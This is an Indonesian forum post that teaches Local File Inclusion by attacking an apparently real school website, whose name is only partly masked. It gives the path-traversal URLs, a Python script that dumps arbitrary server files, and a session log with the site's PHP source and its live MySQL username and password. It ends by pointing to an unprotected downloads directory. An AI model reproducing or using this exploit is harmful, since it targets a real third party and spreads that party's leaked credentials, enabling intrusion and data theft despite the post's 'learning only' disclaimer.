wah, bro widnyana langsung beraksi :worship: ... sekarang saya coba jelasin soal LFI berikut contohnya :)
LFI (Local File Inclusion) adalah celah, dimana seseorang bisa mengakses file-file yang ada di server dengan menggunakan URL tertentu. berikut ini contohnya (real life example)
Disclaimer: posting ini hanya untuk tujuan pembelajaran semata. use at your own risk :)
situs yang vulnerable bisa saja ada dimana2. berikut ini contohnya
http://www.s*spik.com/
kalau situs itu dibuka menggunakan browser biasa, semuanya tampak normal :p tapi berhubung saya tidak punya cukup bandwidth, jadi saya buka pakai text browser. tampilannya seperti ini:
http://i41.tinypic.com/2vum39d.png
selanjutnya bisa terlihat di bagian gambarnya ada URL menarik (coba perhatikan foto_01.jpg)
http://www.s*spik.com/new_web/componentImage.php?com=photoFlash&d=1&f=foto_01.jpg
sekarang coba kita ganti dengan nama file yg kemungkinan bisa diakses
http://www.s*spik.com/new_web/componentImage.php?com=photoFlash&d=1&f=index.php
<br />
<b>Warning</b>: filesize() [<a href='function.filesize'>function.filesize</a>]: stat failed for components/photoFlash/images/1/index.php in <b>/home/sispik/public_html/new_web/componentImage.php</b> on line <b>11</b><br />
<br />
<b>Warning</b>: Cannot modify header information - headers already sent by (output started at /home/sispik/public_html/new_web/componentImage.php:11) in <b>/home/sispik/public_html/new_web/componentImage.php</b> on line <b>11</b><br />
<br />
<b>Warning</b>: file_get_contents(components/photoFlash/images/1/index.php) [<a href='function.file-get-contents'>function.file-get-contents</a>]: failed to open stream: No such file or directory in <b>/home/sispik/public_html/new_web/componentImage.php</b> on line <b>13</b><br />
dari hasil di atas, kita bisa tahu path dari file yang ingin kita akses
/home/sispik/public_html/new_web/components/photoFlash/images/1/index.php
selanjutnya kita akan menggunakan informasi tersebut untuk mendapatkan file yang kita inginkan, misalnya
http://www.s*spik.com/new_web/componentImage.php?com=photoFlash&d=1&f=../../../../index.php
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<?php
include_once 'component.php';
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>SISPIK : Singapore School, Pantai Indah Kapuk</title>
<LINK REL="SHORTCUT ICON" HREF="favicon.ico">
<link type="text/css" href="theme/default/main.css" rel="stylesheet" />
<script type="text/javascript" src="FrameWork/js/AjaxCommon.js"></script>
<script type="text/javascript" src="pageJavaScript.php?url=downloads"></script>
<script type="text/javascript" src="pageJavaScript.php?url=generalInfo"></script>
<script type="text/javascript" src="pageJavaScript.php?url=links"></script>
</head>
<body onload='
timer = setInterval("init_buffer_image()",5000);
'>
<table style="height:100%; width:100%; vertical-align:middle;">
<tr>
<td>
<center>
<table cellpadding="0" cellspacing="0" class="tableFrame">
<tr>
<td class="tdFrame">
<table cellpadding="0" border="0" cellspacing="0" class="tableContent">
<col width="174px">
<col width="606px">
<tr style="height:407px;">
<td class="tdContent" style="width:174px;">
<div id="topLeftContainer">
<script language="javascript">
ajax.SendingRequestToDiv('page.php?url=topLeft','t opLeftContainer',defaultAjaxHandlerToDiv);
</script>
</div>
</td>
<td class="tdContent">
<?php loadComponent("photoFlash",null); ?>
</td>
</tr>
<tr>
<td height="173px" colspan="2" class="tdMenuPanel" style="display:table-cell;">
<?php loadComponent("tabPage", array(173,775,175)); ?>
</td>
</tr>
</table>
</td>
</tr>
</table>
</center>
</td>
</tr>
</table>
</body>
</html>
berhasil ;) sekarang kita cukup membuat script sederhana untuk mempermudah pekerjaan
#!/bin/env python
import sys, urllib2
def main():
while True:
f = raw_input("file: ")
if (f.lower() == "quit") or (f.lower() == "exit"): break
d = urllib2.urlopen("http://www.s*spik.com/new_web/componentImage.php?com=photoFlash&d=1&f=../../../../" + f)
print d.read() + "\n"
if __name__=="__main__":
main()
contoh session lognya
$ ./lfish.py
file: component.php
<?php
function loadComponent($com, $comParam) {
include_once 'components/'.$com.'/main.php';
}
?>
file: components/tabPage/main.php
<?php
include_once 'FrameWork/MySQLUtil.php';
class TabPanel{
public $id;
public $text;
public $tabWidth;
public $url;
public $container;
public $javaScript;
function TabPanel($id, $text, $width, $url, $container, $javaScript){
$this->id=$id;
$this->text=$text;
$this->tabWidth=$width;
$this->url=$url;
$this->container=$container;
$this->javaScript=$javaScript;
}
}
class TabControl{
public $panelHeight;
public $panelWidth;
public $tabLeftPos;
public $panelList = array();
private $con;
private $rs;
private $query = "SELECT * FROM com_tabpage_menu";
function TabControl($hi, $wi, $p){
$this->panelHeight = $hi;
$this->panelWidth = $wi;
$this->tabLeftPos = $p;
$this->con = new MySQLConnection();
$this->rs = new RecordSet();
$this->rs = $this->con->execute($this->query);
$this->rs->setCursorBeforeFirst();
$i = 0;
while($row = $this->rs->getNextRow()){
$this->panelList[$i] = new TabPanel(
$row["id"],$row["label"],$row["width"],$row["url"],$row["targetLayer"],$row["jsUrl"]
);
$i++;
}
}
}
if(isset($_GET['hi']) && $_GET['wi'] && $_GET['p']){
$tabControl = new TabControl($_GET['hi'],$_GET['wi'],$_GET['p']);
}else{
$tabControl = new TabControl($comParam[0],$comParam[1],$comParam[2]);
}
?>
<script language="javascript">
var tabCount = <?php echo count($tabControl->panelList)?>;
<?php
$i=0;
$idTab = "";
$divTab = "";
$divTag = "";
$divURL = "";
$divLoaded = "";
$divJS = "";
foreach ($tabControl->panelList as $panel){
$idTab .= '"'.$panel->id.'"';
$divTab .= '"'.$panel->container.'"';
$divURL .= '"'.$panel->url.'"';
$divLoaded .= 'false';
$divJS .= '"'.$panel->javaScript.'"';
$divTag .= '<div style="width:100%; height:100%; display:'.(($i > 0)?"none":"inline").'" id="'.$panel->container.'">Loading . . . .['.$panel->text.']</div>';
$i++;
if($i < count($tabControl->panelList)){
$idTab .= ",";
$divTab .= ",";
$divURL .= ",";
$divLoaded .= ",";
$divJS .= ",";
}
}
?>
var idTab = [<?php echo $idTab; ?>];
var divTab = [<?php echo $divTab; ?>];
var divURL = [<?php echo $divURL; ?>];
var divLoaded = [<?php echo $divLoaded; ?>];
var divJS = [<?php echo $divJS; ?>];
</script>
<script src="componentJavaScript.php?com=tabPage" type="text/javascript"></script>
<script src="FrameWork/js/AjaxCommon.js" type="text/javascript"></script>
<div style="display:none;">
<img src = "componentImage.php?com=tabPage&d=hover&f=left.jpg"/>
<img src = "componentImage.php?com=tabPage&d=hover&f=bg.jpg"/>
<img src = "componentImage.php?com=tabPage&d=hover&f=right.jpg"/>
</div>
<table cellpadding="0" cellspacing="0" border="0" style="table-layout:fixed; font-size:12px; boder-style:solid;">
<colgroup>
<?php
echo '<col width="'.$tabControl->tabLeftPos.'px"/>';
$lebar = $tabControl->tabLeftPos;
foreach ($tabControl->panelList as $panel){
echo '<col width="6px"/>';
echo '<col width="'.$panel->tabWidth.'px"/>';
echo '<col width="7px"/>';
$lebar += $panel->tabWidth + 13;
}
echo '<col width="'.($tabControl->panelWidth - $lebar).'px"/>';
?>
</colgroup>
<tr style="height:4px;">
<td rowspan="2" style="border-bottom:solid black 1px; background-image: url(componentImage.php?com=tabPage&f=tab-bg.jpg);
background-repeat: repeat-x;"> </td>
<td colspan="<?php echo 3*count($tabControl->panelList) ?>" style="background-image: url(componentImage.php?com=tabPage&f=tab-bg.jpg);
background-repeat: repeat-x;"></td>
<td rowspan="2" style="border-bottom:solid black 1px;background-image: url(componentImage.php?com=tabPage&f=tab-bg.jpg);
background-repeat: repeat-x;"> </td>
</tr>
<tr style="vertical-align:bottom; height:19px;">
<?php
$first = true;
foreach ($tabControl->panelList as $panel){
$path = (!$first)?"non.active":"active";
$border = (!$first)?"solid black 1px;":"solid #FFF9F0 1px;";
$color = (!$first)?"#757575":"black";
?>
<td style="border-bottom:<?php echo $border ?>" id="td<?php echo $panel->id ?>01">
<img src="componentImage.php?com=tabPage&d=<?php echo $path ?>&f=left.jpg" id="tab<?php echo $panel->id ?>01"/>
</td>
<td valign="bottom"
style="text-indent:2px; text-align:center;
color:<?php echo $color ?>;
background-image: url(componentImage.php?com=tabPage&d=<?php echo $path ?>&f=bg.jpg);
background-repeat: repeat-x;
background-position: left bottom;
cursor:pointer;
border-bottom:<?php echo $border ?>"
id="tab<?php echo $panel->id ?>02"
onmouseover="tab_hover('<?php echo $panel->id ?>');"
onmouseout="tab_out('<?php echo $panel->id ?>');"
onclick="set_active('<?php echo $panel->id ?>');"
>
<?php echo $panel->text; ?>
</td>
<td style="border-bottom:<?php echo $border ?>;" id="td<?php echo $panel->id ?>03">
<img src="componentImage.php?com=tabPage&d=<?php echo $path ?>&f=right.jpg" id="tab<?php echo $panel->id ?>03"/>
</td>
<?php
$lebar += $panel->tabWidth;
$first = false;
}
?>
</tr>
<tr style="height:<?php echo $tabControl->panelHeight - 23 ?>px;">
<td colspan="<?php echo 3*count($tabControl->panelList) + 2 ?>" style="">
<?php echo $divTag; ?>
</td>
</tr>
</table>
<script>
loadTabPanel(0);
</script>
file: FrameWork/MySQLUtil.php
<?php
class RecordSet {
private $result;
private $rowIndex = 0;
public function fill($rs){
$this->result = $rs;
}
public function getFirstRow(){
$this->rowIndex = 0;
if($this->getRowsNumber() > 0){
mysql_data_seek($this->result, $this->rowIndex);
return $this->getArray();
}
return false;
}
public function getLastRow(){
if($this->getRowsNumber() > 0){
$this->rowIndex = $this->getRowsNumber();
mysql_data_seek($this->result, $this->rowIndex);
return $this->getArray();
}
return false;
}
public function getNextRow(){
if($this->getRowsNumber() > ($this->rowIndex + 1)){
$this->rowIndex++;
mysql_data_seek($this->result, $this->rowIndex);
return $this->getArray();
}
return false;
}
public function getPrevRow(){
if($this->getRowsNumber() > ($this->rowIndex - 1)
&& $this->rowIndex > 0){
$this->rowIndex--;
mysql_data_seek($this->result, $this->rowIndex);
return $this->getArray();
}
return false;
}
public function setCursorBeforeFirst(){
$this->rowIndex = -1;
}
public function getArray(){
return mysql_fetch_array($this->result, MYSQL_ASSOC);
}
public function getResult(){
return $this->result;
}
public function getRowsNumber(){
return mysql_num_rows($this->result);
}
}
class MySQLConnection {
private $USER_ID = "sispik_ruut";
private $PASSWORD = "ruut123";
private $HOST = "localhost:3306";
private $DATABASE = "sispik_web";
private $link;
public function open(){
$this->link = mysql_connect($this->HOST, $this->USER_ID, $this->PASSWORD);
mysql_select_db($this->DATABASE, $this->link);
}
public function close(){
mysql_close($this->link);
}
public function execute($query){
$this->open();
$result = mysql_query($query, $this->link);
$this->close($this->link);
$rs = new RecordSet;
$rs->fill($result);
return $rs;
}
public function getUser_id() {
return $this->USER_ID;
}
public function setUser_id($USER_ID) {
$this->USER_ID = $USER_ID;
}
public function getPassword() {
return $this->PASSWORD;
}
public function setPassword($PASSWORD) {
$this->PASSWORD = $PASSWORD;
}
public function getHost() {
return $this->HOST;
}
public function setHost($HOST) {
$this->HOST = $HOST;
}
public function getDatabase() {
return $this->DATABASE;
}
public function setDatabase($DATABASE) {
$this->DATABASE = $DATABASE;
}
}
?>
file: exit
$
hmmm... menarik ;)
private $USER_ID = "sispik_ruut";
private $PASSWORD = "ruut123";
private $HOST = "localhost:3306";
private $DATABASE = "sispik_web";
btw, sedikit trivia, sebenarnya untuk mengunduh file dari halaman "download" situs tersebut, tidak perlu memasukkan password. cukup ke URL ini
http://www.s*spik.com/new_web/pages/downloads/files/